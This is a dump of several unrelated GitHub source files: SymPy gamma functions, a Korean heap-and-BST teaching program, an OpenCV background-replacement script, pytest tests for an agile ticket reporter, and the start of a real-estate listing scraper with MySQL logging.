S.ComplexInfinity\n if z is S.NaN:\n return S.NaN\n\n def _eval_expand_func(self, **hints):\n z = self.args[0]\n\n if z.is_Rational:\n p, q = z.as_numer_denom()\n # General rational arguments (u + p/q)\n # Split z as n + p/q with p < q\n n = p // q\n p = p - n*q\n if p.is_positive and q.is_positive and p < q:\n k = Dummy(\"k\")\n if n.is_positive:\n return loggamma(p / q) - n*log(q) + C.Sum(log((k - 1)*q + p), (k, 1, n))\n elif n.is_negative:\n return loggamma(p / q) - n*log(q) + S.Pi*S.ImaginaryUnit*n - C.Sum(log(k*q - p), (k, 1, -n))\n elif n.is_zero:\n return loggamma(p / q)\n\n return self\n\n def _eval_nseries(self, x, n, logx=None):\n x0 = self.args[0].limit(x, 0)\n if x0 is S.Zero:\n f = self._eval_rewrite_as_intractable(*self.args)\n return f._eval_nseries(x, n, logx)\n return super(loggamma, self)._eval_nseries(x, n, logx)\n\n def _eval_aseries(self, n, args0, x, logx):\n if args0[0] != oo:\n return super(loggamma, self)._eval_aseries(n, args0, x, logx)\n z = self.args[0]\n m = min(n, C.ceiling((n + S(1))/2))\n r = log(z)*(z - S(1)/2) - z + log(2*pi)/2\n l = [bernoulli(2*k) / (2*k*(2*k - 1)*z**(2*k - 1)) for k in range(1, m)]\n o = None\n if m == 0:\n o = C.Order(1, x)\n else:\n o = C.Order(1/z**(2*m - 1), x)\n # It is very inefficient to first add the order and then do the nseries\n return (r + Add(*l))._eval_nseries(x, n, logx) + o\n\n def _eval_rewrite_as_intractable(self, z):\n return log(gamma(z))\n\n def _eval_is_real(self):\n return self.args[0].is_real\n\n def _eval_conjugate(self):\n z = self.args[0]\n if not z in (S.Zero, S.NegativeInfinity):\n return self.func(z.conjugate())\n\n def fdiff(self, argindex=1):\n if argindex == 1:\n return polygamma(0, self.args[0])\n else:\n raise ArgumentIndexError(self, argindex)\n\n\ndef digamma(x):\n r\"\"\"\n The digamma function is the first derivative of the loggamma function i.e,\n\n .. math::\n \\psi(x) := \\frac{\\mathrm{d}}{\\mathrm{d} z} \\log\\Gamma(z)\n = \\frac{\\Gamma'(z)}{\\Gamma(z) }\n\n In this case, ``digamma(z) = polygamma(0, z)``.\n\n See Also\n ========\n\n gamma: Gamma function.\n lowergamma: Lower incomplete gamma function.\n uppergamma: Upper incomplete gamma function.\n polygamma: Polygamma function.\n loggamma: Log Gamma function.\n trigamma: Trigamma function.\n sympy.functions.special.beta_functions.beta: Euler Beta function.\n\n References\n ==========\n\n .. [1] http://en.wikipedia.org/wiki/Digamma_function\n .. [2] http://mathworld.wolfram.com/DigammaFunction.html\n .. [3] http://functions.wolfram.com/GammaBetaErf/PolyGamma2/\n \"\"\"\n return polygamma(0, x)\n\n\ndef trigamma(x):\n r\"\"\"\n The trigamma function is the second derivative of the loggamma function i.e,\n\n .. math::\n \\psi^{(1)}(z) := \\frac{\\mathrm{d}^{2}}{\\mathrm{d} z^{2}} \\log\\Gamma(z).\n\n In this case, ``trigamma(z) = polygamma(1, z)``.\n\n See Also\n ========\n\n gamma: Gamma function.\n lowergamma: Lower incomplete gamma function.\n uppergamma: Upper incomplete gamma function.\n polygamma: Polygamma function.\n loggamma: Log Gamma function.\n digamma: Digamma function.\n sympy.functions.special.beta_functions.beta: Euler Beta function.\n\n References\n ==========\n\n .. [1] http://en.wikipedia.org/wiki/Trigamma_function\n .. [2] http://mathworld.wolfram.com/TrigammaFunction.html\n .. [3] http://functions.wolfram.com/GammaBetaErf/PolyGamma2/\n \"\"\"\n return polygamma(1, x)\n","repo_name":"securesystemslab/zippy","sub_path":"zippy/benchmarks/src/benchmarks/sympy/sympy/functions/special/gamma_functions.py","file_name":"gamma_functions.py","file_ext":"py","file_size_in_byte":32016,"program_lang":"python","lang":"en","doc_type":"code","stars":297,"dataset":"github-code","pt":"75"} +{"seq_id":"9675566183","text":"import csv\nimport os,sys\n\nfile=open('../PerMonth/State.csv',\"r\")\nreader=csv.reader(file)\ndata={}\n\nfor line in reader:\n\tdata.setdefault(line[0],{});\n\tdata[line[0]].setdefault(line[2],int(line[4]))\n\tdata[line[0]][line[2]]+=int(line[4]);\n\nfile.close()\n\nprint(\"dataMap.States={\")\nfor k in data.keys():\n print (\"\\t'\"+str(k)+\"':[\")\n for kk in data[k].keys():\n print(\"\\t\\t\"+str(data[k][kk])+\",\")\n print(\"\\t],\")\nprint(\"}\")\n","repo_name":"gx16377/bigdata_homicide","sub_path":"vis/getSt.py","file_name":"getSt.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31153728531","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[53]:\n\n\nclass Heap: #힙 클래스\n def __init__(self, data):\n self.heap_array = [] #리스트 변수 선언\n self.heap_array.append(None) #0번째 index는 비어있도록\n self.heap_array.append(data)\n \n def create(self, data):\n self.heap_array[1] = data #1번째 index는 최댓값자리\n \n def move_up(self, data):\n a = data - 1 #data에는 리스트의 길이가 들어옴\n while a != 1:\n if self.heap_array[a // 2] <= self.heap_array[a]:\n self.heap_array[a // 2], self.heap_array[a] = self.heap_array[a], self.heap_array[a // 2]\n a = a // 2\n \n def move_down(self, popped_idx):\n left_child_popped_idx = popped_idx * 2\n right_child_popped_idx = popped_idx * 2 + 1\n \n # case1: 왼쪽 자식 노드도 없을 때\n if left_child_popped_idx >= len(self.heap_array):\n return False\n # case2: 오른쪽 자식 노드만 없을 때\n elif right_child_popped_idx >= len(self.heap_array):\n if self.heap_array[popped_idx] < self.heap_array[left_child_popped_idx]:\n return True\n else:\n return False\n # case3: 왼쪽, 오른쪽 자식 노드 모두 있을 때\n else:\n if self.heap_array[left_child_popped_idx] > self.heap_array[right_child_popped_idx]:\n if self.heap_array[popped_idx] < self.heap_array[left_child_popped_idx]:\n return True\n else:\n return False\n else:\n if self.heap_array[popped_idx] < self.heap_array[right_child_popped_idx]:\n return True\n else:\n return False\n \n \n def insert(self, data):\n if len(self.heap_array) == 0:\n self.heap_array.append(None)\n self.heap_array.append(data)\n return True\n \n self.heap_array.append(data)\n self.move_up(len(self.heap_array))\n \n def pop(self): #마지막 데이터 삭제하며 출력하기\n if len(self.heap_array) == 0:\n self.heap_array.append(None)\n self.heap_array.append(data)\n return True\n \n returned_data = self.heap_array[1]\n self.heap_array[1] = self.heap_array[-1]\n del self.heap_array[-1]\n popped_idx = 1\n \n while self.move_down(popped_idx):\n left_child_popped_idx = popped_idx * 2\n right_child_popped_idx = popped_idx * 2 + 1\n\n # case2: 오른쪽 자식 노드만 없을 때\n if right_child_popped_idx >= len(self.heap_array):\n if self.heap_array[popped_idx] < self.heap_array[left_child_popped_idx]:\n self.heap_array[popped_idx], self.heap_array[left_child_popped_idx] = self.heap_array[left_child_popped_idx], self.heap_array[popped_idx]\n popped_idx = left_child_popped_idx\n # case3: 왼쪽, 오른쪽 자식 노드 모두 있을 때\n else:\n if self.heap_array[left_child_popped_idx] > self.heap_array[right_child_popped_idx]:\n if self.heap_array[popped_idx] < self.heap_array[left_child_popped_idx]:\n self.heap_array[popped_idx], self.heap_array[left_child_popped_idx] = self.heap_array[left_child_popped_idx], self.heap_array[popped_idx]\n popped_idx = left_child_popped_idx\n else:\n if self.heap_array[popped_idx] < self.heap_array[right_child_popped_idx]:\n self.heap_array[popped_idx], self.heap_array[right_child_popped_idx] = self.heap_array[right_child_popped_idx], self.heap_array[popped_idx]\n popped_idx = right_child_popped_idx\n \n return returned_data\n \n def clear_heap(self):\n for i in range(0, len(self.heap_array) - 1):\n self.pop()\n print(\"HEAP CLEAR >> SUCCESS\")\n \n\n\n# In[54]:\n\n\nclass Node:\n def __init__(self, key):\n self.key = key\n self.left = None\n self.right = None\n\n\n# In[55]:\n\n\nclass BST:\n def __init__(self, root):\n self.root = root\n self.count = 0\n \n def CreateNode(self, key):\n new = Node(key)\n return new\n \n def create(self, key):\n self.root = Node(key)\n \n def insert_node(self, root, key):\n if root == None:\n return self.CreateNode(key)\n if(key < root.key):\n root.left = self.insert_node(root.left, key)\n elif ( key > root.key):\n root.right = self.insert_node(root.right, key)\n return root\n \n def search(self, root, key):\n if(root == None):\n return False\n \n #원하는 값을 찾았을 때\n if (key == root.key):\n return root\n \n #찾는 값보다 루트키 값이 큰 경우\n elif root.key > key:\n return self.search(root.left, key)\n \n #찾는 값보다 루트키 값이 작은 경우\n else:\n return self.search(root.right, key)\n \n def delete_node(self, node, key):\n parent = None\n t = node\n \n while (t != None and t.key != key):\n parent = t\n if key < parent.key:\n t = parent.left\n else:\n t= parent.right\n #탐색이 끝나고 키 값이 트리에 없으면 t는 null일 것이다.\n if t == None:\n print(\"Error : key is not in the tree\")\n return\n #위에서 탐색을 못했을 경우를 다뤘기 때문에 이 아래부터는 탐색이\n #성공적으로 이루어졌다는 가정 하에 경우의 수를 따진다.\n \n #첫 번째: 단말노드였을 경우\n if (t.left == None and t.right == None):\n if parent != None:\n if parent.left == t:\n parent.left = None\n else:\n parent.right = None\n else: #부모 노드가 NULL이라면, 삭제하려는 노드가 루트 노드이다.\n self.root = None\n #두 번째: 하나의 서브트리만 가지는 경우\n elif (t.left == None or t.right ==None):\n if (t.left != None):\n child = t.left\n else:\n child = t.right\n if parent != None:\n if parent.left == t:\n parent.left = child\n else:\n parent.right = child\n else: #부모 노드가 NULL이라면 삭제되는 노드가 루트 노드이다.\n self.root = child\n #세 번째: 두개의 서브트리를 모두 가지는 경우\n else:\n #오른쪽 서브트리에서 가장 작은 값을 찾는다.\n suc_p = t\n suc = t.right\n while (suc.left != None):\n suc_p = suc\n suc = suc.left\n #후속자의 부모와 자식을 연결\n if(suc_p.left == suc):\n suc_p.left = suc.right\n #왼쪽 끝까지 내려왔지만 그 끝에 오른쪽 서브트리가 있을 수도 있는데\n #이 경우를 대비해 suc.right 값을 대입하는 것이다.\n else:\n suc_p.right = suc.right\n t.key = suc.key\n t = suc\n del t\n \n def PreOrderPrintTree(self, root):\n if(root == None):\n return\n print(\"%d\"%root.key, end='')\n if (root.left != None or root.right != None):\n print(\"(\", end='')\n if (root.left != None):\n self.PreOrderPrintTree(root.left)\n if (root.left != None):\n print(\",\", end='')\n if (root.right != None):\n self.PreOrderPrintTree(root.right)\n if (root.left != None or root.right != None):\n print(\")\", end='')\n \n def inorder_traversal(self, node):\n if(node != None):\n self.inorder_traversal(node.left)\n print(\"%d \"%node.key, end = '')\n self.inorder_traversal(node.right)\n \n def right_root_left_traversal(self, node):\n if node != None:\n self.right_root_left_traversal(node.right)\n print(\"%d \"%node.key, end = '')\n self.right_root_left_traversal(node.left)\n \n def height(self, node):\n if node == None:\n return 0;\n else:\n #서브트리들의 높이를 구해서\n lheight = self.height(node.left)\n rheight = self.height(node.right)\n #더 큰 것을 사용\n if lheight > rheight:\n return (lheight + 1)\n else:\n return (rheight + 1)\n \n def get_left_child(self, key):\n parent = self.search(self.root, key)\n if parent.left:\n lc = parent.left\n return lc.key\n else:\n return None\n \n def get_right_child(self, key):\n parent = self.search(self.root, key)\n if parent.right:\n rc = parent.right\n return rc.key\n else:\n return None\n \n def get_min(self, node):\n cur = node\n \n #제일 왼쪽 노드 찾아가기\n while (cur.left != None):\n cur = cur.left\n return cur.key\n \n def get_max(self, node):\n cur = node\n \n #제일 오른쪽 노드 찾아가기\n while (cur.right != None):\n cur = cur.right\n return cur.key\n \n def find_node(self, node, key):\n #순환으로 탐색 중 원하는 값을 찾았을 때\n if key == node.key:\n return\n #찾는 값보다 루트키값이 큰 경우\n elif node.key > key:\n print(\" > Left\", end = '')\n self.find_node(node.left, key)\n #찾는 값보다 루트키값이 작은 경우\n elif node.key < key:\n print(\" > Right\", end = '')\n self.find_node(node.right, key)\n \n def count_node(self):\n return (self.count - 1)\n \n def clear(self, node):\n if node != None:\n self.clear(node.right)\n self.clear(node.left)\n del node\n self.__init__(None)\n \n def PostOrderPrintTree(self, node):\n if node == None:\n return\n #왼쪽 하위 트리 출력\n self.PostOrderPrintTree(node.left)\n #오른쪽 하위 트리 출력\n self.PostOrderPrintTree(node.right)\n #부모 노드 출력\n print(\"%d \"%node.key, end = '')\n \n def destroy_node(self, node): #사용자 추가 함수 2\n del node\n \n def destroy_tree(self, node): #사용자 추가 함수 3\n if node == None:\n return\n #왼쪽 하위 트리 소멸\n self.destroy_tree(node.left)\n #오른쪽 하위 트리 소멸\n self.destroy_tree(node.right)\n #루트 노드 소멸\n self.destroy_node(node)\n\n\n# In[56]:\n\n\ndef BST_main(my_BST): #BST의 main함수\n \n \n Flag = 1 #while문\n print(\"사용자 추가 함수 1: 후위순회 출력함수 명령어 : B \")\n print(\"사용자 추가 함수 2: 노드 메모리 해제 함수 (트리파괴 함수에 쓰이기 때문에 따로 명령어 X)\")\n print(\"사용자 추가 함수 3: 트리 파괴 함수 (트리를 파괴함과 동시에 프로그램 종료) 명령어 : D\")\n print(\"명령어에 공백이 없도록 처리해주세요\")\n while Flag:\n \n com = input(\"\\n명령을 입력하세요: \")\n for i in range(0, len(com)): #여러개의 명령어 한번에 받아올 때\n if com[i] == ' ':\n i += 1\n \n elif (com[i] == '+' and com[i + 1] == '^'):\n v = com[2:]\n intvalue=int(v)\n my_BST.create(intvalue)\n my_BST.count += 1\n \n elif (com[i] == '+'):\n v = com[1:]\n intvalue = int(v)\n my_BST.insert_node(my_BST.root, intvalue)\n my_BST.count += 1\n \n elif (com[i] == '-'):\n v = com[1:]\n intvalue = int(v)\n my_BST.delete_node(my_BST.root, intvalue)\n my_BST.count -= 1\n \n elif com[i] == 'I':\n my_BST.inorder_traversal(my_BST.root)\n print(\"\")\n \n elif com[i] == 'R':\n my_BST.right_root_left_traversal(my_BST.root)\n print(\"\")\n \n elif com[i] == 'H':\n bst_height = my_BST.height(my_BST.root) - 1\n print(\"height >> %d [0부터 시작]\"%bst_height)\n \n elif com[i] == 'G' and com[i + 1] == '(':\n v = com[2:4]\n intvalue=int(v)\n rc = my_BST.get_right_child(intvalue)\n if rc != None:\n print(\"right child >> %d\"%rc)\n else:\n print(\"NULL\")\n \n elif com[i] == 'L' and com[i + 1] == '(':\n v = com[2:4]\n intvalue=int(v)\n lc = my_BST.get_left_child(intvalue)\n if lc != None:\n print(\"left child >> %d\"%lc)\n else:\n print(\"NULL\")\n \n elif com[i] == '#':\n count = my_BST.count_node()\n print(\"%d\"%count)\n \n elif com[i] == 'X':\n max = my_BST.get_max(my_BST.root)\n print(\"max >> %d\"%max)\n \n elif com[i] == 'N':\n min= my_BST.get_min(my_BST.root)\n print(\"min >> %d\"%min)\n \n elif com[i] == 'F':\n v = com[1:]\n intvalue = int(v)\n \n if my_BST.search(my_BST.root, intvalue) == False:\n print(\"Error // Not Exist!\")\n else:\n print(\"Root\", end = '')\n my_BST.find_node(my_BST.root, intvalue)\n print(\"\")\n \n elif com[i] == 'C':\n my_BST.clear(my_BST.root)\n \n elif com[i] == 'B':\n my_BST.PostOrderPrintTree(my_BST.root)\n print(\"\")\n \n elif com[i] == 'D':\n my_BST.destroy_tree(my_BST.root)\n Flag = 0\n break\n \n elif com[i] == 'P':\n break\n \n elif com[i] == 'Q':#프로그램 종료 명령어 Q\n Flag = 0\n break\n \n if com[0] == 'Q':\n print(\"프로그램을 종료합니다.\")\n elif(com[0] == 'D'):\n print(\"트리가 파괴되었습니다.\")\n print(\"프로그램을 종료합니다.\")\n elif (com[0] == 'P'):\n print(\"(\", end='')\n my_BST.PreOrderPrintTree(my_BST.root)\n print(\")\")\n else:\n print(\"(\", end='')\n my_BST.PreOrderPrintTree(my_BST.root)\n print(\")\")\n\n\n# In[59]:\n\n\ndef heap_main(): #힙의 메인함수\n my_heap = Heap(None)\n my_BST = BST(None)#BST로 전환할 때 BST의 객체가 필요함\n \n Flag = 1 #while문\n print(\"힙 함수 1: create 함수 명령어 : +^값 \")\n print(\"힙 함수 2: insert 함수 명령어 : +값 \")\n print(\"힙 함수 3: pop 함수 명령어 : - \")\n print(\"힙 함수 4: 출력 함수 명령어 : P \")\n print(\"힙 함수 5: clear 함수 명령어 : C \")\n print(\"BST 전환 명령어 : B \")\n print(\"명령어에 공백이 없도록 처리해주세요\")\n \n while Flag:\n \n com = input(\"\\n명령을 입력하세요: \")\n for i in range(0, len(com)): #여러개의 명령어 한번에 받아올 때\n if com[i] == ' ':\n i += 1\n \n elif (com[i] == '+' and com[i + 1] == '^'):\n v = com[2:]\n intvalue=int(v)\n my_heap.create(intvalue)\n \n elif (com[i] == '+'):\n v = com[1:]\n intvalue = int(v)\n my_heap.insert(intvalue)\n \n elif (com[i] == '-'):\n my_heap.pop()\n \n elif com[i] == 'C':\n my_heap.clear_heap()\n \n elif com[i] == 'P':\n break\n \n elif com[i] == 'B':\n print(\"이진 탐색 트리로 전환합니다.\")\n print(\"\")\n Flag = 0\n break\n \n elif com[i] == 'Q':#프로그램 종료 명령어 Q\n Flag = 0\n break\n if com[0] == 'Q':\n print(\"프로그램을 종료합니다.\")\n \n elif (com[0] == 'P'):\n print(my_heap.heap_array)\n \n elif com[0] == 'B': #BST 전환함수\n temp = [] #heap에서 pop한 것을 담아둘 빈 리스트 선언\n #temp에 heap요소들 옮기기\n for j in range(1, len(my_heap.heap_array)):\n temp.append(my_heap.pop()) #heap은 이제 빈 heap\n my_BST.create(temp[0])\n for k in range(1, len(temp)):\n my_BST.insert_node(my_BST.root, temp[k])\n BST_main(my_BST)\n \n else:\n print(my_heap.heap_array)\n\n\n# In[ ]:\n\n\nheap_main()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"pminsung12/DataStructure","sub_path":"Binary_search_tree/max_heap_to_bst.py","file_name":"max_heap_to_bst.py","file_ext":"py","file_size_in_byte":17704,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34200589314","text":"import numpy as np\nimport pylab as pl\n\nx = np.loadtxt(\"results.txt\").transpose()\npl.plot(x[0], x[2]/x[1], \"o-\")\npl.ylabel(\"time old / time new\")\npl.xlabel(\"number of atoms\")\npl.title(\"100 quenches lj system\")\npl.gca().set_yscale('log')\npl.show()\n","repo_name":"pele-python/pele","sub_path":"playground/native_code/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"75"} +{"seq_id":"19519863202","text":"from turtle import back\r\nimport cv2\r\nimport time\r\nimport numpy as np\r\n\r\nfourcc=cv2.VideoWriter_fourcc(*'XVID')\r\noutput_file=cv2.VideoWriter('output.avi',fourcc,20,(640,480))\r\n\r\ncap=cv2.VideoCapture(0)\r\n\r\nbackground=cv2.imread('background-image.jpg',cv2.IMREAD_COLOR)\r\nbackground=np.flip(background,axis=1)\r\nbackground=cv2.resize(background,(640,480))\r\n\r\ntime.sleep(2)\r\n\r\nwhile (cap.isOpened()):\r\n ret,img=cap.read()\r\n\r\n img=np.flip(img,axis=1)\r\n\r\n hsv=cv2.cvtColor(img,cv2.COLOR_BGR2HSV)\r\n\r\n lower_red=np.array([0,0,0])\r\n upper_red=np.array([179, 255, 85])\r\n\r\n mask_1=cv2.inRange(hsv,lower_red,upper_red)\r\n\r\n mask_1=cv2.morphologyEx(mask_1,cv2.MORPH_OPEN,np.ones((3,3),np.uint8))\r\n\r\n mask_1=cv2.morphologyEx(mask_1,cv2.MORPH_DILATE,np.ones((3,3),np.uint8))\r\n\r\n mask_2=cv2.bitwise_not(mask_1)\r\n\r\n res_1=cv2.bitwise_and(img,img,mask=mask_1)\r\n\r\n res_2=cv2.bitwise_and(background,background,mask=mask_2)\r\n\r\n final_output=cv2.addWeighted(res_1,1,res_2,1,0)\r\n\r\n output_file.write(final_output)\r\n\r\n cv2.imshow('Magic',final_output)\r\n \r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n\r\n if cv2.waitKey(1) & 0xFF == 27:\r\n break\r\n\r\ncap.release()\r\noutput_file.release()\r\ncv2.destroyAllWindows()\r\n\r\n# cv2.imshow('image', background)\r\n# cv2.waitKey(0)\r\n# cv2.destroyAllWindows()","repo_name":"patelparva/Background-Replacer","sub_path":"background-replacer.py","file_name":"background-replacer.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9197367425","text":"\"\"\"Test the TicketReporter class.\"\"\"\n\nimport pytest\n\n\n@pytest.fixture\ndef klass():\n \"\"\"Return the CUT.\"\"\"\n from agile_analytics import TicketReporter\n return TicketReporter\n\n\ndef test_klass(klass):\n \"\"\"Verify the CUT fixture.\"\"\"\n assert klass\n\n\ndef test_klass_init(klass):\n \"\"\"Verify init.\"\"\"\n r = klass(\n title=\"Foo\"\n )\n assert r\n\n\ndef test_date_range_reconcile(klass, datetime, tzutc):\n \"\"\"Ensure the right dates are set when passed two dates.\"\"\"\n r = klass(title=\"Foo\")\n r.start_date = datetime(2016, 5, 21, 0, 0, 0)\n r.end_date = datetime(2016, 6, 21, 11, 59, 59)\n\n assert r.start_date == datetime(2016, 5, 15, 0, 0, 0, tzinfo=tzutc) # Sunday\n assert r.end_date == datetime(2016, 6, 25, 11, 59, 59, tzinfo=tzutc) # Saturday\n\n\ndef test_filter(klass, days_agos, AnalyzedAgileTicket):\n \"\"\"filter_issues ignores issues completed before the specified range.\"\"\"\n issue_list_kwargs = []\n for i in range(1, 3): # 2 issues with 2 day lead\n kwargs = dict(\n key=\"TEST-{}\".format(i),\n committed=dict(state=\"Committed\", entered_at=days_agos[2]),\n started=dict(state=\"Started\", entered_at=days_agos[2]),\n ended=dict(state=\"Ended\", entered_at=days_agos[0]),\n )\n issue_list_kwargs.append(kwargs)\n\n issue_list = [AnalyzedAgileTicket(**kwargs) for kwargs in issue_list_kwargs]\n issue_out_of_range = AnalyzedAgileTicket(\n key=\"TEST-OOR\",\n committed=dict(state=\"Committed\", entered_at=days_agos[42]),\n started=dict(state=\"Started\", entered_at=days_agos[44]),\n ended=dict(state=\"Ended\", entered_at=days_agos[45]),\n )\n issue_list.append(issue_out_of_range)\n\n r = klass(\n title=\"Cycle Time Distribution Past 30 days\",\n start_date=days_agos[30],\n end_date=days_agos[0]\n )\n filtered_issues = r.filter_issues(issue_list)\n\n assert r.start_date > issue_out_of_range.ended['entered_at']\n assert len(filtered_issues) == 2\n\n\ndef test_report_table(klass, AnalyzedAgileTicket, days_agos):\n \"\"\"Ensure the report table returns a row with details on every ticket.\"\"\"\n\n issue_list_kwargs = []\n for i in range(1, 3): # 2 issues with 2 day lead\n kwargs = dict(\n key=\"TEST-{}\".format(i),\n committed=dict(state=\"Committed\", entered_at=days_agos[i + 3]),\n started=dict(state=\"Started\", entered_at=days_agos[i + 2]),\n ended=dict(state=\"Ended\", entered_at=days_agos[i]),\n )\n issue_list_kwargs.append(kwargs)\n issue_list = [AnalyzedAgileTicket(**kwargs) for kwargs in issue_list_kwargs]\n issue_list.sort(key=lambda i: i.ended['entered_at'])\n\n expected = [\n [\"Key\", \"Title\", \"Lead Time\", \"Cycle Time\", \"Commit State\", \"Commit At\", \"Start State\", \"Start At\", \"End State\", \"End At\"],\n ]\n for i in issue_list:\n row = [\n i.key,\n i.title,\n i.lead_time,\n i.cycle_time,\n i.committed['state'],\n i.committed['entered_at'],\n i.started['state'],\n i.started['entered_at'],\n i.ended['state'],\n i.ended['entered_at'],\n ]\n expected.append(row)\n\n r = klass(\n title=\"Cycle Time Distribution Past 30 days\",\n start_date=days_agos[30],\n end_date=days_agos[0]\n )\n\n actual = r.report_on(issue_list)\n assert expected == actual.table\n\n\ndef test_report_summary(klass, datetime, tzutc):\n \"\"\"report_on returns an object with meta data.\"\"\"\n start_date = datetime(2016, 5, 15, 0, 0, 0, tzinfo=tzutc) # Sunday\n end_date = datetime(2016, 6, 25, 11, 59, 59, tzinfo=tzutc) # Saturday\n\n r = klass(\n title=\"Foo\",\n start_date=start_date,\n end_date=end_date\n )\n\n expected = dict(\n title=\"Foo\",\n start_date=start_date,\n end_date=end_date,\n )\n\n assert r.report_on([]).summary == expected\n","repo_name":"cmheisel/agile-analytics","sub_path":"tests/test_ticket_reporter.py","file_name":"test_ticket_reporter.py","file_ext":"py","file_size_in_byte":3941,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"75"} +{"seq_id":"14472839551","text":"# coding:utf-8\n# MySQL\nfrom __future__ import print_function\n\nimport datetime\nimport time\nimport zlib\nfrom MySQL_connector import db_connector\n\nimport requests\nfrom bs4 import BeautifulSoup, element\n\n#\n# def this_db_connector():\n# return db_connector('realestate_scraper')\n# db_connector = this_db_connector\n\nsql_create_tbl_html_text = \"CREATE TABLE IF NOT EXISTS tbl_html_text(\" \\\n \"hash_id INT NOT NULL, \" \\\n \"html_text BLOB NOT NULL, \" \\\n \"create_date TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, \" \\\n \"url TEXT NOT NULL, \" \\\n \"ad_text VARCHAR(255), \" \\\n \"last_seen_date TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, \" \\\n \"PRIMARY KEY(hash_id) )\"\nsql_create_tbl_scrap_log = \"CREATE TABLE IF NOT EXISTS tbl_scrap_log(\" \\\n \"scrap_id VARCHAR(255),\" \\\n \"note VARCHAR(255),\" \\\n \"timestamp TIMESTAMP NOT NULL DEFAULT current_timestamp);\"\n\n\ndef my_print_decorator(func):\n now = datetime.datetime.now().strftime(\"%Y-%m-%d %H.%M.%S\")\n log_file_name = \"./data/query_log_%s.txt\" % now\n last_print_end = [\"\\n\"]\n PRINT_LOG_FILE = lambda: open(log_file_name, \"a\")\n with open(log_file_name, \"w\") as f:\n f.write(str(datetime.datetime.now()) + \"--> Start Application\\n\")\n\n def print_and_log(*args, **kwargs):\n kwargs_copy = kwargs.copy()\n end = kwargs_copy.pop(\"end\", \"\\n\")\n sep = kwargs_copy.pop(\"sep\", \" \")\n content = sep.join([str(arg) for arg in args]) + end\n if last_print_end[0] == \"\\n\":\n content = str(datetime.datetime.now()) + \"-->\" + content\n last_print_end[0] = end\n with PRINT_LOG_FILE() as f:\n f.write(content)\n return func(*args, **kwargs)\n\n return print_and_log\n\nprint = my_print_decorator(print)\n\n\nclass BaseScraper(object):\n db = 'scraper_dumps'\n\n def __init__(self):\n self.domain = \"www.realestate.com.au\"\n self.url_template = \"http://www.realestate.com.au/buy/in-%s/list-%s?activeSort=list-date&includeSurrounding=false\"\n self.page_num = 1\n self.postcode = 2077\n self.soup = None\n self._conn = db_connector(self.db)\n self._cur = self._conn.cursor()\n self.write_queue_len = 0\n self.scrap_log = None\n\n @staticmethod\n def test_db():\n conn = db_connector(BaseScraper.db)\n cur = conn.cursor()\n cur.execute(sql_create_tbl_html_text)\n cur.execute(sql_create_tbl_scrap_log)\n conn.commit()\n conn.close()\n\n def log_scrap(self, scrap_id, note=None):\n scrap_id = str(scrap_id)\n if self.has_scraped(scrap_id):\n return False\n self._cur.execute(\"INSERT INTO tbl_scrap_log (scrap_id, note) VALUES (%s, %s)\", (scrap_id, note))\n self._conn.commit()\n self.scrap_log.add(scrap_id)\n return True\n\n def has_scraped(self, scrap_id):\n if self.scrap_log is None:\n self.scrap_log = set()\n self._cur.execute(\"SELECT scrap_id FROM tbl_scrap_log WHERE timestamp > DATE_ADD(NOW(), INTERVAL -24 HOUR)\")\n res = self._cur.fetchone()\n while res:\n self.scrap_log.add(res[0])\n res = self._cur.fetchone()\n\n return str(scrap_id) in self.scrap_log\n\n @property\n def url(self):\n return self.url_template % (self.postcode, self.page_num)\n\n def write_tag_db(self, soup_tag):\n assert isinstance(soup_tag, element.Tag)\n html_text = unicode(soup_tag)\n ad_text = unicode(soup_tag.get_text()).strip()\n hash_id = hash(ad_text)\n\n self._cur.execute(\"SELECT hash_id FROM tbl_html_text WHERE hash_id = %s\", (hash_id,))\n rs = self._cur.fetchall()\n date = str(datetime.datetime.now())\n if len(rs) > 0:\n sql = \"UPDATE tbl_html_text SET last_seen_date = CURRENT_TIMESTAMP WHERE hash_id = %s\"\n self._cur.execute(sql, (hash_id,))\n self._conn.commit()\n return False\n else:\n sql = \"INSERT INTO tbl_html_text (hash_id, html_text, url, ad_text)\" \\\n \" VALUES (%s, %s, %s, %s)\"\n val = (hash_id, zlib.compress(html_text.encode('utf8'), 9), self.url, ad_text)\n self._cur.execute(sql, val)\n self._conn.commit()\n return True\n\n def read_one_page(self):\n \"\"\"\n :return:\n soup tags in list\n \"\"\"\n r = requests.get(self.url)\n html = r.content\n self.soup = BeautifulSoup(html, \"lxml\")\n return self.soup.find_all(\"article\")\n\n\nif __name__ == \"__main__\":\n scraper = BaseScraper()\n scraper.test_db()\n step = 1\n last_saved_page = 1\n err_happens = 0\n tic = time.time()\n\n with open(\"./data/post_code_data.csv\", 'r') as f:\n postcodes = []\n for line in f:\n postcode = line.split(\",\")[0]\n if postcode.isdigit() and (postcode not in postcodes):\n postcodes.append(postcode)\n # try:\n # conn = db_connector()\n # cur = conn.cursor()\n # cur.execute(\"\"\"SELECT DISTINCT scrap_id FROM tbl_scrap_log WHERE timestamp > %s limit 10\"\"\",\n # (str(datetime.datetime.now() - datetime.timedelta(days=1)),))\n #\n # scraped_postcode = set()\n # r = cur.fetchall()\n #\n # tac = time.time()\n # print(\"(\" + str(tac-tic) + \" seconds)\")\n # finally:\n # conn.close()\n\n # max_pn = 0\n # for pn in range(len(postcodes)):\n # if postcodes[pn] in scraped_postcode:\n # max_pn = pn\n\n for pn in range(len(postcodes)):\n postcode = postcodes[pn]\n scraper.postcode = postcode\n scraper.page_num = 1\n saved_tags_this_postcode = 0\n\n print('\\n', \"*\" * 40, end='')\n print(\"POSTCODE:\", postcode, \"(%d/%d)\" % (pn, len(postcodes)), 